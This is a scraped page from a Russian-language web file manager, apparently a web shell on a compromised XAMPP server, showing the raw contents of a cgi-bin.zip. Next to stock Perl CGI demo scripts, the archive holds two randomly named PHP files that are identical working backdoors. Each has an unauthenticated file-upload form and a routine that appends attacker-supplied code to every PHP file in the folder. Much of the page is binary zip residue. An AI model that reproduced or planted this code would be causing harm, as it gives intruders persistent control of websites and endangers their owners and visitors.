Файловый менеджер - Редактировать - C:/xampp/htdocs/documents/cgi-bin.zip
Назад
PK )m\ adminer.phpnu W+A PK )m\KW W cgi.cginu W+A #!"C:\xampp\perl\bin\perl.exe" print "Content-Type: text/html\n\n"; print "OK"; PK )m\6 ilpzehsv.phpnu W+A <?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> PK )m\6 patrxzgl.phpnu W+A <?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> PK )m\B=k k perltest.cginu W+A #!"C:\xampp\perl\bin\perl.exe" print "Content-type: text/html\n\n"; print '<html>'; print '<head>'; print '<meta name="author" content="Kay Vogelgesang">'; print '<link href="/xampp/xampp.css" rel="stylesheet" type="text/css">'; print '</head>'; print "<body> <p><h1>GCI with MiniPerl</h1>"; print "CGI with MiniPerl is ready ...</body></html>"; PK )m\Xl;. . printenv.plnu W+A #!"C:\xampp\perl\bin\perl.exe" ## ## printenv -- demo CGI program which just prints its environment ## print "Content-type: text/plain; charset=iso-8859-1\n\n"; foreach $var (sort(keys(%ENV))) { $val = $ENV{$var}; $val =~ s|\n|\\n|g; $val =~ s|"|\\"|g; print "${var}=\"${val}\"\n"; } PK )m\ adminer.phpnu W+A PK )m\KW W ; cgi.cginu W+A PK )m\6 ilpzehsv.phpnu W+A PK )m\6 patrxzgl.phpnu W+A PK )m\B=k k 1 perltest.cginu W+A PK )m\Xl;. . printenv.plnu W+A PK A
| ver. 1.4 |
Github
|
.
| PHP 5.3.8 | Генерация страницы: 0.35 |
proxy
|
phpinfo
|
Настройка